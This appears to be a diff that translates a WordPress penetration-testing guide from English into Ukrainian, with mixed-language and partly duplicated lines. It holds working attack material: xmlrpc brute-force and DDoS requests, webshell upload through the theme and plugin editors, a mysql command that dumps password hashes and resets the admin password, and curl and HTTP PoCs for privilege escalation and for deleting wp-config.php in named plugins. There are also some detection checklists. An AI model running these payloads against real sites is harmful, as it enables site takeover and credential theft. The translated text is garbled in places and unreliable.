+If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Ви можете автоматизувати цей процес [using this](https://github.com/relarizky/wpxploit) наприклад). -Щоб перевірити, чи він активний, спробуйте звернутися до _**/xmlrpc.php**_ та надіслати такий запит: +To see if it is active try to access to _**/xmlrpc.php**_ and send this request: **Перевірка** ```html @@ -122,7 +122,7 @@ Also note that **/wp-json/wp/v2/pages** could leak IP addresses. **Credentials Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** є деякими з методів, які можна використати для brute-force credentials. Якщо ви знайдете будь-який з них, ви можете надіслати щось на кшталт: +**`wp.getUserBlogs`**, **`wp.getCategories`** або **`metaWeblog.getUsersBlogs`** — це деякі методи, які можна використовувати для brute-force credentials. Якщо ви знайдете будь-який із них, ви можете надіслати щось на кшталт: ```html wp.getUsersBlogs @@ -132,13 +132,13 @@ Also note that **/wp-json/wp/v2/pages** could leak IP addresses. ``` -Повідомлення _"Incorrect username or password"_ у відповіді з кодом 200 має з'являтися, якщо credentials недійсні. +Повідомлення _"Incorrect username or password"_ у відповіді з кодом 200 має з'являтися, якщо облікові дані недійсні. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) -Використовуючи правильні credentials, ви можете завантажити файл. У відповіді з'явиться шлях ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +Використовуючи правильні облікові дані, ви можете завантажити файл. У відповіді з'явиться шлях ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html @@ -168,18 +168,18 @@ Also note that **/wp-json/wp/v2/pages** could leak IP addresses. ``` -Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request: +Також існує **швидший спосіб** брутфорсу облікових даних, використовуючи **`system.multicall`**, оскільки ви можете перевірити кілька комбінацій у одному запиті:
-**Bypass 2FA** +**Обхід 2FA** -Цей метод призначений для програм, а не для людей, і доволі старий, тому він не підтримує 2FA. Отже, якщо у вас є валідні creds, але головний вхід захищений 2FA, **ви можете зловживати xmlrpc.php щоб увійти з цими creds, обходячи 2FA**. Зауважте, що ви не зможете виконувати всі дії, доступні через консоль, але все ще можете отримати RCE, як пояснює Ippsec у [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) +Цей метод призначений для програм, а не для людей, і він старий, тому не підтримує 2FA. Отже, якщо у вас є дійсні облікові дані, але основний вхід захищено 2FA, **ви можете зловживати xmlrpc.php, щоб увійти з цими обліковими даними, обходячи 2FA**. Зверніть увагу, що ви не зможете виконати всі дії, доступні через консоль, але все ще можете отримати RCE, як Ippsec пояснює в [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) -**DDoS or port scanning** +**DDoS або сканування портів** -Якщо ви знайдете метод _**pingback.ping**_ у списку, ви можете змусити Wordpress надіслати довільний запит на будь-який хост/порт.\ -Це можна використати, щоб змусити **тисячі** сайтів **Wordpress** звернутися до однієї **локації** (унаслідок чого там спричиниться **DDoS**), або ви можете використати це, щоб змусити **Wordpress** просканувати якусь внутрішню **мережу** (ви можете вказати будь-який порт). +Якщо ви знайдете метод _**pingback.ping**_ у списку, ви можете змусити Wordpress відправити довільний запит на будь-який хост/порт.\ +Це можна використати, щоб змусити **тисячі** Wordpress **сайтів** звернутися до одного **ресурсу** (внаслідок чого в тому місці спричиниться **DDoS**), або ж використати його, щоб змусити **Wordpress** **сканувати** внутрішню **мережу** (можна вказати будь-який порт). ```html pingback.ping @@ -191,9 +191,9 @@ Also there is a **faster way** to brute-force credentials using **`system.multic ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) -Якщо ви отримуєте **faultCode** зі значенням **більшим** за **0** (17), це означає, що порт відкритий. +Якщо ви отримуєте **faultCode** зі значенням **більше** ніж **0** (17), це означає, що порт відкритий. -Зверніть увагу на використання **`system.multicall`** у попередньому розділі, щоб дізнатися, як зловживати цим методом для спричинення DDoS. +Зверніть увагу на використання **`system.multicall`** в попередньому розділі, щоб дізнатися, як зловживати цим методом для спричинення DDoS. **DDoS** ```html @@ -209,15 +209,15 @@ Also there is a **faster way** to brute-force credentials using **`system.multic ### wp-cron.php DoS -Цей файл зазвичай знаходиться в корені сайту Wordpress: **`/wp-cron.php`**\ -Коли цей файл **accessed**, виконується "**heavy**" MySQL **query**, тож його можуть використовувати **attackers** для **cause** **DoS**.\ -Також за замовчуванням `wp-cron.php` викликається при кожному завантаженні сторінки (коли клієнт запитує будь-яку сторінку Wordpress), що на сайтах з великим трафіком може спричиняти проблеми (DoS). +This file usually exists under the root of the Wordpress site: **`/wp-cron.php`**\ +Коли цей файл **accessed** виконується «важкий» MySQL **query**, тому його можуть використовувати **attackers** для спричинення **DoS**.\ +Також, за замовчуванням, `wp-cron.php` викликається при кожному завантаженні сторінки (коли клієнт запитує будь-яку сторінку Wordpress), що на сайтах з великим трафіком може спричиняти проблеми (DoS). -Рекомендується відключити Wp-Cron і створити реальний cronjob на хості, який виконуватиме потрібні дії з регулярним інтервалом (без викликання проблем). +Рекомендується відключити Wp-Cron і створити реальний cronjob на хості, який виконуватиме потрібні дії з регулярним інтервалом (без спричинення проблем). ### /wp-json/oembed/1.0/proxy - SSRF -Спробуйте отримати доступ до _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ і Worpress site може зробити запит до вас. +Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you. This is the response when it doesn't work: @@ -230,32 +230,32 @@ This is the response when it doesn't work: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -Цей інструмент перевіряє, чи існує **methodName: pingback.ping** та шлях **/wp-json/oembed/1.0/proxy**, і якщо вони є, намагається їх експлуатувати. +Цей інструмент перевіряє, чи існує **methodName: pingback.ping** і шлях **/wp-json/oembed/1.0/proxy**, і якщо існують — намагається їх експлуатувати. -## Automatic Tools +## Автоматичні інструменти ```bash cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -## Отримання доступу шляхом перезапису біта +## Отримати доступ, переписавши біт -Скоріше цікавинка, ніж реальна атака. У CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) ви могли перевернути 1 біт у будь-якому wordpress файлі. Тобто можна було змінити позицію `5389` у файлі `/var/www/html/wp-includes/user.php`, щоб зробити NOP для операції NOT (`!`). +Скоріше цікавинка, ніж реальна атака. У CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) можна було інвертувати 1 біт у будь-якому wordpress-файлі. Отже, можна було інвертувати позицію `5389` файлу `/var/www/html/wp-includes/user.php`, щоб NOPнути операцію NOT (`!`). ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **Панель RCE** -**Зміна php у використовуваній темі (потрібні admin credentials)** +**Модифікація php з використовуваної теми (потрібні admin credentials)** Appearance → Theme Editor → 404 Template (праворуч) -Замініть вміст на php shell: +Змініть вміст на php shell: ![](<../../images/image (384).png>) -Пошукайте в інтернеті, як отримати доступ до оновленої сторінки. У цьому випадку потрібно перейти за адресою: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +Шукайте в інтернеті, як отримати доступ до оновленої сторінки. У цьому випадку потрібно перейти за адресою: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -267,18 +267,18 @@ use exploit/unix/webapp/wp_admin_shell_upload ## Plugin RCE -### PHP plugin +### PHP плагін -It may be possible to upload .php files as a plugin.\ -Створіть ваш php backdoor, наприклад: +Може бути можливість завантажити .php файли як плагін.\ +Створіть ваш php backdoor, наприклад використовуючи: ![](<../../images/image (183).png>) -Потім додайте новий plugin: +Потім додайте новий плагін: ![](<../../images/image (722).png>) -Завантажте plugin та натисніть Install Now: +Завантажте плагін і натисніть Install Now: ![](<../../images/image (249).png>) @@ -286,62 +286,62 @@ It may be possible to upload .php files as a plugin.\ ![](<../../images/image (70).png>) -Мабуть, це нібито нічого не зробить, але якщо перейти в Media, ви побачите ваш shell, що був завантажений: +Можливо, це нічого не покаже на перший погляд, але якщо перейти в Media, ви побачите, що ваш shell було завантажено: ![](<../../images/image (462).png>) -Відкрийте його і ви побачите URL для виконання reverse shell: +Відкрийте його й ви побачите URL для виконання reverse shell: ![](<../../images/image (1006).png>) ### Uploading and activating malicious plugin -This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows: +Цей метод передбачає встановлення шкідливого плагіна, відомого як вразливий, і може бути використаний для отримання web shell. Процес виконується через WordPress dashboard наступним чином: -1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374). +1. **Plugin Acquisition**: плагін отримується з джерела на кшталт Exploit DB, наприклад [**here**](https://www.exploit-db.com/exploits/36374). 2. **Plugin Installation**: -- Перейдіть у WordPress dashboard, потім Dashboard > Plugins > Upload Plugin. -- Завантажте zip-файл завантаженого плагіну. +- Перейдіть у WordPress dashboard, далі `Dashboard > Plugins > Upload Plugin`. +- Завантажте zip-файл завантаженого плагіна. 3. **Plugin Activation**: Після успішної інсталяції плагін потрібно активувати через dashboard. 4. **Exploitation**: -- Якщо плагін "reflex-gallery" встановлений і активований, його можна експлуатувати, оскільки він відомий як вразливий. -- Metasploit framework надає експлойт для цієї вразливості. Завантаживши відповідний модуль та виконавши потрібні команди, можна встановити meterpreter session, що надає несанкціонований доступ до сайту. +- Після встановлення та активації плагіна "reflex-gallery" його можна експлуатувати, оскільки він відомий як вразливий. +- Metasploit framework надає експлойт для цієї вразливості. Завантаживши відповідний модуль і виконавши потрібні команди, можна встановити meterpreter session, що дає несанкціонований доступ до сайту. - Варто зазначити, що це лише один із багатьох методів експлуатації WordPress сайту. -Контент містить ілюстрації, що зображують кроки в WordPress dashboard для встановлення та активації плагіну. Однак важливо зазначити, що експлуатація вразливостей таким чином є незаконною та неетичною без належного дозволу. Цю інформацію слід використовувати відповідально і тільки в легальному контексті, наприклад, під час penetration testing з явним дозволом. +Контент містить ілюстрації, що показують кроки у WordPress dashboard для встановлення та активації плагіна. Однак важливо пам'ятати, що експлуатація вразливостей таким чином є незаконною і неетичною без належного дозволу. Цю інформацію слід використовувати відповідально і тільки в легальному контексті, наприклад під час penetration testing за явного дозволу. **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## From XSS to RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** -- _**Privilege Escalation:**_ Створює користувача у WordPress. -- _**(RCE) Custom Plugin (backdoor) Upload:**_ Завантажує ваш custom plugin (backdoor) у WordPress. -- _**(RCE) Built-In Plugin Edit:**_ Редагує вбудовані плагіни у WordPress. -- _**(RCE) Built-In Theme Edit:**_ Редагує вбудовані теми у WordPress. -- _**(Custom) Custom Exploits:**_ Користувацькі експлойти для сторонніх плагінів/тем WordPress. +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ — це скрипт, призначений для ескалації вразливості **Cross-Site Scripting (XSS)** до **Remote Code Execution (RCE)** або інших критичних вразливостей у WordPress. Для детальнішої інформації див. [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Він забезпечує **підтримку для WordPress версій 6.X.X, 5.X.X та 4.X.X і дозволяє:** +- _**Privilege Escalation:**_ Створює користувача в WordPress. +- _**(RCE) Custom Plugin (backdoor) Upload:**_ Завантажити ваш custom plugin (backdoor) у WordPress. +- _**(RCE) Built-In Plugin Edit:**_ Редагувати built-in plugins у WordPress. +- _**(RCE) Built-In Theme Edit:**_ Редагувати built-in themes у WordPress. +- _**(Custom) Custom Exploits:**_ Кастомні експлойти для third-party WordPress plugins/themes. -## Post Exploitation +## Пост-експлуатація -Витягнути імена користувачів та паролі: +Витягніть імена користувачів та паролі: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` -Змінити пароль адміністратора: +Змінити пароль admin: ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` -## Wordpress Plugins Pentest +## Pentest плагінів Wordpress -### Attack Surface +### Атакувальна поверхня -Знання того, як Wordpress plugin може експонувати функціональність, є ключовим для знаходження вразливостей у цій функціональності. Ви можете знайти, як плагін може експонувати функціональність, у наведених пунктах та переглянути приклади вразливих плагінів у [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). +Розуміння того, як плагін Wordpress може відкривати функціональність, ключове для виявлення вразливостей. Нижче наведено пункти, у яких плагін може відкривати функціональність, а також приклади вразливих плагінів у [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** -Один зі способів, яким Wordpress plugin може виставляти функції для users — через AJAX handlers. Вони можуть містити помилки в логіці, authorization або authentication. Більше того, доволі frequently ці функції будуть базувати і authentication, і authorization на наявності wordpress nonce, який **any user authenticated in the Wordpress instance might have** (незалежно від його role). +Один зі способів, яким плагін може відкривати функції для користувачів — через AJAX handlers. Вони можуть містити помилки в логіці, авторизації або аутентифікації. Більше того, часто ці функції базують автентифікацію та авторизацію на наявності wordpress nonce, який може бути у **будь-якого автентифікованого користувача в інстанції Wordpress** (незалежно від ролі). -These are the functions that can be used to expose a function in a plugin: +Нижче — функції, які можуть використовуватися для експонування функції в плагіні: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); @@ -349,11 +349,11 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); **Використання `nopriv` робить endpoint доступним для будь-яких користувачів (навіть неавторизованих).** > [!CAUTION] -> Крім того, якщо функція лише перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція лише перевіряє, що користувач увійшов у систему — вона зазвичай не перевіряє роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій, що вимагають високих привілеїв. +> Крім того, якщо функція лише перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція лише перевіряє, чи користувач авторизований, зазвичай вона не перевіряє роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями. - **REST API** -Також можливо відкривати доступ до функцій wordpress, реєструючи REST API за допомогою функції `register_rest_route`: +Також можливо оприлюднити функції з wordpress, зареєструвавши REST API за допомогою функції `register_rest_route`: ```php register_rest_route( $this->namespace, '/get/', array( @@ -363,21 +363,21 @@ $this->namespace, '/get/', array( ) ); ``` -The `permission_callback` — це callback-функція, яка перевіряє, чи авторизований конкретний користувач для виклику API-методу. +The `permission_callback` — це callback-функція, яка перевіряє, чи має конкретний користувач дозвіл викликати метод API. **Якщо використовується вбудована функція `__return_true`, вона просто пропустить перевірку прав користувача.** -- **Direct access to the php file** +- **Прямий доступ до php-файлу** -Звісно, Wordpress використовує PHP, і файли всередині плагінів доступні безпосередньо з вебу. Тому, якщо плагін відкриває вразливу функціональність, яка спрацьовує лише при доступі до файлу, її зможе експлуатувати будь-який користувач. +Звісно, Wordpress використовує PHP, і файли всередині плагінів доступні напряму через веб. Тож якщо плагін відкриває вразливу функціональність, яка викликається просто при зверненні до файлу, вона буде експлуатована будь-яким користувачем. -### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) +### Підміна REST через trusted-header (WooCommerce Payments ≤ 5.6.1) -Деякі плагіни реалізують «довірені заголовки» як скорочення для внутрішніх інтеграцій або reverse proxies і потім використовують цей заголовок, щоб встановити поточний контекст користувача для REST-запитів. Якщо заголовок не пов'язаний криптографічно з запитом компонентом upstream, атакуючий може підробити його і звертатися до привілейованих REST-маршрутів як адміністратор. +Деякі плагіни реалізують скорочення «trusted header» для внутрішніх інтеграцій або реверс-проксі і потім використовують цей заголовок, щоб встановити контекст поточного користувача для REST-запитів. Якщо заголовок не пов'язаний криптографічно з запитом компонентом вище в стеку, нападник може підробити його і звертатися до привілейованих REST-маршрутів від імені адміністратора. -- Impact: неавторизоване підвищення привілеїв до admin шляхом створення нового адміністратора через основний users REST-маршрут. -- Example header: `X-Wcpay-Platform-Checkout-User: 1` (примушує user ID 1, зазвичай перший акаунт адміністратора). -- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array. +- Вплив: неавтентифікована ескалація привілеїв до адміністратора шляхом створення нового облікового запису адміністратора через core users REST route. +- Приклад заголовка: `X-Wcpay-Platform-Checkout-User: 1` (примушує ID користувача 1, зазвичай перший обліковий запис адміністратора). +- Зловживаний маршрут: `POST /wp-json/wp/v2/users` з масивом ролей із підвищеними привілеями. PoC ```http @@ -393,29 +393,29 @@ Content-Length: 114 ``` Чому це працює -- Плагін зіставляє заголовок, контрольований клієнтом, зі станом автентифікації та пропускає перевірки capability. -- WordPress core очікує capability `create_users` для цього маршруту; експлойт плагіна обходить це, безпосередньо встановлюючи контекст поточного користувача з заголовка. +- Плагін відображає заголовок, контрольований клієнтом, у стан автентифікації й пропускає capability checks. +- WordPress core очікує capability `create_users` для цього маршруту; хак плагіна обходить це, безпосередньо встановлюючи контекст поточного користувача з заголовка. -Очікувані індикатори успіху +Очікувані ознаки успіху -- HTTP 201 з JSON-тілом, що описує створеного користувача. -- Новий користувач з правами адміністратора, видимий у `wp-admin/users.php`. +- HTTP 201 із JSON-тілом, що описує створеного користувача. +- Новий адміністратор, видимий у `wp-admin/users.php`. Чекліст виявлення -- Grep для `getallheaders()`, `$_SERVER['HTTP_...']` або vendor SDKs, які читають кастомні заголовки для встановлення контексту користувача (наприклад, `wp_set_current_user()`, `wp_set_auth_cookie()`). -- Перегляньте реєстрації REST на предмет привілейованих callback-ів, які не мають надійних перевірок `permission_callback` і натомість покладаються на заголовки запиту. -- Шукайте використання основних функцій управління користувачами (`wp_insert_user`, `wp_create_user`) всередині REST-обробників, доступні лише за значеннями заголовків. +- Шукайте за допомогою grep `getallheaders()`, `$_SERVER['HTTP_...']`, або vendor SDKs, які читають кастомні заголовки для встановлення контексту користувача (наприклад, `wp_set_current_user()`, `wp_set_auth_cookie()`). +- Перевірте REST-реєстрації на предмет привілейованих callback-ів, які не мають надійних перевірок `permission_callback` і натомість покладаються на заголовки запиту. +- Шукайте використання функцій керування користувачами ядра (`wp_insert_user`, `wp_create_user`) всередині REST-обробників, доступ до яких захищено лише значеннями заголовків. ### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0) -Теми та плагіни WordPress часто відкривають AJAX-обробники через хуки `wp_ajax_` та `wp_ajax_nopriv_`. Коли використовується варіант **_nopriv_** **callback стає доступним для неавторизованих відвідувачів**, тому будь-яка чутлива дія повинна додатково реалізувати: +WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement: -1. Перевірку прав (наприклад, `current_user_can()` або принаймні `is_user_logged_in()`), та -2. CSRF nonce, валідацію якого виконують `check_ajax_referer()` / `wp_verify_nonce()`, та -3. Строгу санітизацію / валідацію введених даних. +1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and +2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and +3. **Strict input sanitisation / validation**. -Мультифункціональна тема Litho (< 3.1) пропустила ці три контролі у функції *Remove Font Family* і в результаті містила такий код (спрощено): +The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified): ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { @@ -438,7 +438,7 @@ Issues introduced by this snippet: * **Неавторизований доступ** – зареєстровано хук `wp_ajax_nopriv_`. * **No nonce / capability check** – будь-який відвідувач може звернутися до endpoint. -* **No path sanitisation** – рядок, керований користувачем, `fontfamily` конкатенується з файловим шляхом без фільтрації, що дозволяє класичну `../../` traversal. +* **Немає санітизації шляху** – рядок, керований користувачем, `fontfamily`, конкатенується зі шляхом файлової системи без фільтрації, дозволяючи класичний `../../` traversal. #### Експлуатація @@ -448,23 +448,23 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ -d 'fontfamily=../../../../wp-config.php' ``` -Оскільки `wp-config.php` розташований поза каталогом *uploads*, на стандартній установці достатньо чотирьох послідовностей `../`. Видалення `wp-config.php` примушує WordPress перейти в *майстер встановлення* при наступному відвідуванні, що дозволяє повне захоплення сайту (атакуючий просто подає нову DB-конфігурацію і створює admin-користувача). +Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user). -Інші критичні цілі включають файли плагінів/теми `.php` (щоб зламати плагіни безпеки) або правила `.htaccess`. +Іншими значущими цілями є `.php` файли плагінів/тем (щоб зламати security plugins) або правила `.htaccess`. -#### Чекліст виявлення +#### Detection checklist -* Будь-який обробник `add_action( 'wp_ajax_nopriv_...')`, який викликає допоміжні функції файлової системи (`copy()`, `unlink()`, `$wp_filesystem->delete()`, тощо). -* Конкатенація неочищених даних від користувача в шляхи (шукайте `$_POST`, `$_GET`, `$_REQUEST`). +* Будь-який `add_action( 'wp_ajax_nopriv_...')` зворотний виклик (callback), який викликає файлові хелпери (`copy()`, `unlink()`, `$wp_filesystem->delete()`, тощо). +* Конкатенація неочищених введених даних користувача в шляхи (шукайте `$_POST`, `$_GET`, `$_REQUEST`). * Відсутність `check_ajax_referer()` та `current_user_can()`/`is_user_logged_in()`. --- -### Privilege escalation через відновлення застарілих ролей та відсутність перевірки авторизації (ASE "View Admin as Role") +### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") -Багато плагінів реалізують функцію "view as role" або тимчасової зміни ролі, зберігаючи початкові ролі в user meta, щоб пізніше їх відновити. Якщо шлях відновлення покладається лише на параметри запиту (наприклад, `$_REQUEST['reset-for']`) і список, яким керує плагін, без перевірки capabilities та валідного nonce, це перетворюється на вертикальне privilege escalation. +Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation. -Реальний приклад було знайдено в плагіні Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Гілка reset відновлювала ролі на основі `reset-for=`, якщо ім'я користувача з'являлося у внутрішньому масиві `$options['viewing_admin_as_role_are']`, але не виконувала ні перевірки `current_user_can()`, ні перевірки nonce перед видаленням поточних ролей та повторним додаванням збережених ролей з user meta `_asenha_view_admin_as_original_roles`: +A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on `reset-for=` if the username appeared in an internal array `$options['viewing_admin_as_role_are']`, but performed neither a `current_user_can()` check nor a nonce verification before removing current roles and re-adding the saved roles from user meta `_asenha_view_admin_as_original_roles`: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { @@ -481,9 +481,9 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } ``` Чому це можна експлуатувати -- Довіряється `$_REQUEST['reset-for']` та опції плагіна без серверної авторизації. -- Якщо користувач раніше мав вищі привілеї, збережені в `_asenha_view_admin_as_original_roles`, і його понизили, він може відновити їх, перейшовши за шляхом скидання. -- У деяких розгортаннях будь-який автентифікований користувач міг би ініціювати скидання для іншого імені користувача, яке все ще присутнє в `viewing_admin_as_role_are` (порушена авторизація). +- Довіряє `$_REQUEST['reset-for']` та опції плагіна без серверної авторизації. +- Якщо користувач раніше мав вищі привілеї, збережені в `_asenha_view_admin_as_original_roles`, і його знизили в правах, він може відновити їх, звернувшись до шляху скидання. +- У деяких розгортаннях будь-який автентифікований користувач може ініціювати скидання для іншого імені користувача, яке все ще присутнє в `viewing_admin_as_role_are` (некоректна перевірка авторизації). Експлуатація (приклад) ```bash @@ -493,23 +493,23 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -На вразливих збірках це видаляє поточні ролі та додає збережені оригінальні ролі (наприклад, `administrator`), фактично підвищуючи привілеї. +На вразливих збірках це видаляє поточні ролі і повторно додає збережені оригінальні ролі (наприклад, `administrator`), фактично підвищуючи привілеї. Detection checklist -- Шукайте функції переключення ролей, які зберігають “оригінальні ролі” в user meta (наприклад, `_asenha_view_admin_as_original_roles`). -- Визначте шляхи скидання/відновлення, які: -- Читують імена користувачів з `$_REQUEST` / `$_GET` / `$_POST`. +- Шукайте функції перемикання ролей, які зберігають “original roles” в user meta (наприклад, `_asenha_view_admin_as_original_roles`). +- Визначайте шляхи скидання/відновлення, які: +- Читають імена користувачів з `$_REQUEST` / `$_GET` / `$_POST`. - Модифікують ролі через `add_role()` / `remove_role()` без `current_user_can()` та `wp_verify_nonce()` / `check_admin_referer()`. -- Авторизують на основі масиву опцій плагіна (наприклад, `viewing_admin_as_role_are`) замість capabilities актора. +- Авторизують на основі масиву опцій плагіна (наприклад, `viewing_admin_as_role_are`) замість перевірки capabilities актора. --- ### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”) -Деякі плагіни підключають допоміжні функції переключення користувачів до публічного хука `init` і визначають ідентичність з cookie, контрольованого клієнтом. Якщо код викликає `wp_set_auth_cookie()` без перевірки автентифікації, capability та дійсного nonce, будь-який неавторизований відвідувач може примусово увійти як довільний user ID. +Деякі плагіни підключають допоміжні функції перемикання користувача до публічного `init` хука і визначають ідентичність із cookie, контрольованого клієнтом. Якщо код викликає `wp_set_auth_cookie()` без перевірки автентифікації, capability та дійсного nonce, будь-який неверифікований відвідувач може примусово залогінитися як довільний ID користувача. -Типовий вразливий шаблон (спрощено з Service Finder Bookings ≤ 6.1): +Типовий вразливий патерн (спрощено з Service Finder Bookings ≤ 6.1): ```php function service_finder_submit_user_form(){ if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) { @@ -540,11 +540,11 @@ wp_die('No original user found to switch back to.'); ``` Чому це можна експлуатувати -- Публічний хук `init` робить обробник доступним для неавторизованих користувачів (немає захисту `is_user_logged_in()`). -- Ідентичність отримується з cookie, що модифікується на боці клієнта (`original_user_id`). -- Прямий виклик `wp_set_auth_cookie($uid)` залогінює запитувача як того користувача без будь-яких перевірок capability/nonce. +- Публічний хук `init` робить обробник доступним для unauthenticated користувачів (немає захисту `is_user_logged_in()`). +- Ідентичність визначається cookie, яку можна змінити на боці клієнта (`original_user_id`). +- Прямий виклик `wp_set_auth_cookie($uid)` авторизує запитувача як цього користувача без жодних перевірок capability/nonce. -Експлуатація (неавторизована) +Експлуатація (unauthenticated) ```http GET /?switch_back=1 HTTP/1.1 Host: victim.example @@ -554,34 +554,34 @@ Connection: close ``` --- -### Особливості WAF для CVE WordPress/плагінів +### Зауваги щодо WAF для WordPress/plugin CVEs -Загальні edge/server WAF налаштовані на широкі сигнатури (SQLi, XSS, LFI). Багато вразливостей WordPress/плагінів з високим ступенем впливу — це баги логіки/auth на рівні застосунку, які виглядають як доброзичливий трафік, якщо рушій не розуміє маршрути WordPress та семантику плагінів. +Загальні edge/server WAFs налаштовані на широкі шаблони (SQLi, XSS, LFI). Багато високовпливових WordPress/plugin вразливостей — це помилки логіки/auth специфічні для додатка, які виглядають як нешкідливий трафік, якщо движок не розуміє маршрути WordPress і семантику плагіна. -Поради для атакуючого +Offensive notes -- Цільтеся в ендпоінти, специфічні для плагіна, використовуючи чисті payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. -- Спочатку перевіряйте неавтентифіковані шляхи (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads часто спрацьовують без обфускації. -- Типові високовпливові випадки: privilege escalation (порушення контролю доступу), arbitrary file upload/download, LFI, open redirect. +- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. +- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation. +- Типові високовпливові випадки: 